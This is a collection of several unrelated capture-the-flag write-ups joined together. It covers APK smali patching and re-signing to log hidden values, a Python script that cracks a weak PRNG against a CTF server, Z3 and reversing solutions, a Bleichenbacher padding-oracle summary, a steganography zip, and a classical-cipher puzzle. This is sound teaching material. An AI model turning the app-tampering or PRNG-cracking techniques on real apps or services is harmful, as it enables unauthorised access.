We can see in the last part of smali, the result of **ThisIsTheRealOne;->orThat** is moved in **v5** register, so we can simply print the value of that register.
``` const-string v0, "BackInBlack - " invoke-static {v0, v5}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I move-result v0```
We can add these 3 lines of code under the **move-result-object v5** instruction, and repeat it in the other activities (we have to find the right native function call and then add the correct code)
The **native functions** we want to hook are:
*DefinitelyNotThisOne$1.smali*``` invoke-virtual {v5, v1, v2}, Lcom/example/application/DefinitelyNotThisOne;->definitelyNotThis(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v5```
*IsThisTheRealOne$1.smali*``` invoke-virtual {v6, v0, v1, v2}, Lcom/example/application/IsThisTheRealOne;->perhapsThis(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v6```
and *ThisIsTheRealOne$1.smali*``` invoke-virtual {v5, v0, v1, v2}, Lcom/example/application/ThisIsTheRealOne;->orThat(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; move-result-object v5```Ok, time to see if we have done the things correctly.
```# Build the apkapktool b illintentions/
cp illintentions/dist/illintentions.apk illintentions-unsigned-unalligned.apk
# Create a keykeytool -genkey -v -keystore BIB.keystore -alias backinblack -keyalg RSA -keysize 2048 -validity 10000
# Signjarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore BIB.keystore illintentions-unsigned-unalligned.apk backinblack
# Verifyjarsigner -verify -verbose -certs illintentions-unsigned-unalligned.apk
# Alignzipalign -v 4 illintentions-unsigned-unalligned.apk final.apk
# Installadb install -r final.apk```
Ok, now the point is:
* Start the application* Using adb to call the activities* Click the button* Look with logcat if there is something interesting
```adb shell am start -n com.example.hellojni/com.example.application.ThisIsTheRealOne
In the log we can see
05-02 03:57:04.680 2245 2245 D BackInBlack - : KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!```
Ok, try harder
```adb shell am start -n com.example.hellojni/com.example.application.DefinitelyNotThisOne
Again,
05-02 04:02:54.276 2323 2323 D BackInBlack - : Told you so!```
Last try...
```adb shell am start -n com.example.hellojni/com.example.application.IsThisTheRealOne
And finally,
05-02 04:04:26.301 2390 2390 D BackInBlack - : Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}```
**Flag** : **CTF{IDontHaveABadjokeSorry}** |
import randomimport sslimport urllib2import urllibimport reimport click
class SecurePrng(object): p = 4646704883L
def __init__(self, x, y): # generate seed with 64 bits of entropy self.x = x self.y = y
def next(self): self.x = (2 * self.x + 3) % self.p self.y = (3 * self.y + 9) % self.p return (self.x ^ self.y)
def HTTP(url, cookie=None, payload=None): if cookie: headers = { 'Cookie': 'session="%s"' % cookie } else: headers = {}
if payload: payload = urllib.urlencode(payload)
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1) # Only for gangstars req = urllib2.Request(url, headers=headers, data=payload) # print (headers) # print (req.__dict__) return urllib2.urlopen(req, context=gcontext)
def get_cookie(): req = HTTP('https://giant-goannas.ctfcompetition.com/start') s = req.headers.getheaders('Set-Cookie')[0] return re.findall('session="([^"]+).*', s)[0]
def submit_number(cookie, number): print "submit ", number req = HTTP('https://giant-goannas.ctfcompetition.com/lake', cookie=cookie, payload=dict(number=number)) body = req.read() next_numbers = re.findall('([0-9]{4,})', body) print body if len(next_numbers) == 2: return False else: import ipdb ipdb.set_trace() return body
def try_to_guess(cookie): print "try to guess" req = HTTP('https://giant-goannas.ctfcompetition.com/lake', cookie=cookie) body = req.read() left, right = re.findall('([0-9]{4,})', body) req2 = HTTP('https://giant-goannas.ctfcompetition.com/lake', cookie=cookie, payload=dict(number=left)) body2 = req2.read() next_numbers = re.findall('([0-9]{4,})', body2) if len(next_numbers) == 2: return int(left), [int(n) for n in next_numbers] else: return False, []
print "start the game"try_to_play_id = 0
while 1: try_to_play_id += 1 print "Our %d attemption" % try_to_play_id print "Let's get the cookie" cookie = get_cookie() print "Now, guess first number" number, possible_numbers = try_to_guess(cookie) if not number: continue print "Found", number, "and possible next numbers", possible_numbers
if possible_numbers[0] > 1 * 1500 * 1000 * 1000 or possible_numbers[1] > 1 * 1500 * 1000 * 1000: print "but skip, we need only small variants" continue
with click.progressbar(length=SecurePrng.p, label='Recovery prng state') as bar: for x in xrange(SecurePrng.p): y = number ^ x sprng = SecurePrng(x, y) value = sprng.next() if value in possible_numbers: break if x % 1000 == 0: bar.update(1000) print "Found", value, cookie, sprng.__dict__ while 1: res = submit_number(cookie, value) if res: break value = sprng.next() print "Finish with", res break
|
# Audio visual receiver
I worked on this challenge with @hanyone and @castor91, but at the end @rpalearisolved it with the old but gold (smart) brute force.
The program is very simple: it has 6 functions named `up`, `down`, `left`,`right`, `a`, `b` that change in some ways a global `state` variable and a`check` one. Moreover, the `a` function is the one that outputs the final flag.
The binary asks for one character at a time, calling `up` if the char is 'u',`down` if the char is 'd' and so on. On each inserted char the value of the`state` variable is inserted in a global buffer. That's the same buffer that isXORed with the encrypted flag. So we just need to find the right sequence offunctions that changes the state in the right way.
Let's see what those functions look like:```pythondef up(state, check, pos, cross_pos): check ^= state buffer[pos] = state pos = (pos + 1) % 33 state *= 3 # each function changes the state in a different way return (state, check, pos, cross_pos)
...
def a(state, check, pos, cross_pos): check ^= state buffer[pos] = state pos = (pos + 1) % 33 state = (state * 16) | (state >> 4) if cross[cross_pos] == check: check = 0 cross_pos += 1 if pos > 29: return print_flag()```
First thing I thought was to use Z3. How to write the right constraints? We canthink about it as an array of `check` variables and an array of `state`variables that represent the check/state variable at the i-th char.
`check` changes (almost) always in the same way:```xor_check = check[i] == check[i - 1] ^ state[i - 1]```Instead `state` can be changed in 6 different ways, depending on the characteryou write (u, d, l, r, a, b):```state[i] == (state[i-1] * 3) # upstate[i] == (state[i-1] >> 1) * 8) - (state[i-1] >> 1) # downstate[i] == (state[i-1] * 2) # leftstate[i] == (state[i-1] >> 3)) | (state[i-1]*32) # rightstate[i] == (state[i-1] * 16) | (state[i-1] >> 4) # astate[i] == ~(state[i-1]) # b````cross_ptr` always remains the same as the previous value, except in some caseswhen you press 'a', in particular when the check `cross[cross_pos] == check` issatisfied.
Notice that `state[i] ^ flag[i]` should give us our real flag, so we can addsome constraints to make this value printable and also specify that the firstfour chars have to be "CTF{" and the last one "}". We can also specify that thelast function to be executed has to be 'a', by specifying what should be thevalue of `state[len(flag)]`.
At this point I ran my script expecting to find the flag soon, but I had manyproblems... I spent a lot of time trying to debug it, giving up after a while.Luckily another member of our team was able to solve the chal by bruteforcing.
After the competition I've chosen to look again at my approach and I'verewritten and rechecked all constraints again, but still nothing. Only after awhile I have realized what a big mistake I made... Looking at the disassembly of thefunctions you can see that many of them are using the SHR instruction, which isa *logical shift to the right*. Python and z3 use, instead, the *arithmeticalright shift*.
Indeed, fixing my constraints (and my python script) to use the logical shift,I was able to get the flag quickly. |
## Frog Fractions 2(reversing, 5 points, 65 solves) Turns out Frog Fractions 2 is not battletoadsWe're given a 64bit elf file, let's start by disassembling it and describing important points in the program.
The program uses a library called libgmp to handle big numbers, it makes the debugging less friendly.
After analysing the binary come we come up with a replacement script in python:
```pythondata = [] #scraped data array from binaryprimes = [] #init primes somewherev11 = 1019line = "A sample line input" #our input
def factor_print(a1): v4 = a1 for x in range(200): c = 0 while(v4 % primes[x] == 0): v4 = v4/primes[x]; c = c+1 if(c != 0): sys.stdout.write(chr(c)) print
for i in range(len(line)): v11 = v11* pow(primes[i], ord(line[i]))j =0while(j < len(data)/2): v6 = data[j*2] v7 = data[j*2+1]
v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1factor_print(v11)```
While searching through the binary we stumble into two big, interesting integers: 62834...(6955 chars) and 50209...(8423 chars).
What's interesting about them is that if we run them through our `factor_print` function we get the 2 messages available:
`Nope! You need to practice your fractions!`
`Congratulations! Treat yourself to some durians!`
So we need to find a line that reproduces the second output message, we do that by reversing the function:
```pythondef crack(v11): j = 0 while(j < len(data)/2): v7 = data[j*2] v6 = data[j*2+1]
v10 = v11*v6 if(v10 % v7 == 0): v11 = v10/v7 j = 0 else: j = j+1 factor_print(v11)```
Which gives us the desired output: `KEY{(By the way, this challenge would be much easier with a cybernetic frog brain)}`
The full source is available [here](https://gist.github.com/nazywam/0634494b4b1c0ffd46a3) |
We are presented with a public key, a mechanism for getting some sort of token which we are told is some bit of data (presumably the flag) encrypted using the private key corresponding to the provided public key using RSA with PKCS#1_v1.5 padding. We are also provided with a mechanism to check if the token is correct. By providing a malformed version of one of the provided tokens to the token check utility, we discover that it responds with "Could not decrypt token". In reality, any number should be possible to decrypt using RSA, so this really means that the padding was incorrect.In summary, we have an RSA/PKCS#1_v1.5 padding oracle and the corresponding public key. In 1998, Daniel Bleichenbacher published a paper on how to decrypt arbitrary RSA ciphertexts (even ones encrypted with a different padding scheme!) when we have these things available to us. The paper can be found here:http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdfUsing an implementation of the algorithm presented in the paper based mostly on pybleach, we are able to decrypt the token, which simply contains a PKCS#1_v1.5-padded flag. |
Running foremost picks up a zip folder.
foremost -o moon.out moon.png
The zip has a flag.txt and is password protected. After failing to find a password, I tried "moon". What do you know.
Flag.txt has sun{0kay_it_is_a_m00n}. |
<span>Solution : Crypto1.txt 100 Pts <span></span> https://41.231.22.176:1231/1/crypto1.txt qv, sgytx :U !! acg scw xyg udtum nfd !!! htpn'l kigof. nin hvusdky mlv usodhw trth : Maug xltwzv bal , zv'g zdn mlv uoyt weyv twswn, bx'j c zuce, htvp wf phw cfw kuaf ymef gabymlzpu ;) ! # When We Decrypt this Text Using Reverse Alphabet We Get The First Key (COMPUTER) To Decrypt Another Text Included : <span></span> if you read this message , that means you have a good level in cryptography and cryptanalysis . Good job , but you need to continue , go forward! part one of the flag COMPUTER let's encrypt the second part to have increase the probability to get the flag, but of course you won't find him here, go further. Good luck <span></span> qv, sgytx :U !! acg scw xyg udtum nfd !!! htpn'l kigof. nin hvusdky mlv usodhw trth : Maug xltwzv bal , zv'g zdn mlv uoyt weyv twswn, bx'j c zuce, htvp wf phw cfw kuaf ymef gabymlzpu ;) ! # Now We Have The Key ( COMPUTER ) And Text Let's Try To Decode The Text To Get Flag :) OHGREATDYOUDIDTHEGREATJOBTHATSGREATYOUDESERVETHESECONDPARTALANTURINGHHHITSNOTTHESAMECLUERIGHTITSALINKOPENITANDYOUWILLFINDSOMETHING <span></span> OH GREATD YOU DID THE GREAT JOB THATS GREAT YOU DESERVE THE SECOND PART ALAN TURING HH HIT SNOT THE SAME CLUE RIGHT ITS A LINK OPEN IT AND YOU WILL FIND SOME THING Flag is : OHGREATDYOUDIDTHEGREATJOBTHATSGREATYOUDESERVETHESECONDPARTALANTURINGHHHITSNOTTHESAMECLUERIGHTITSALINKOPENITANDYOUWILLFINDSOMETHING <span></span> Regards, By Soufiane Boussali</span> |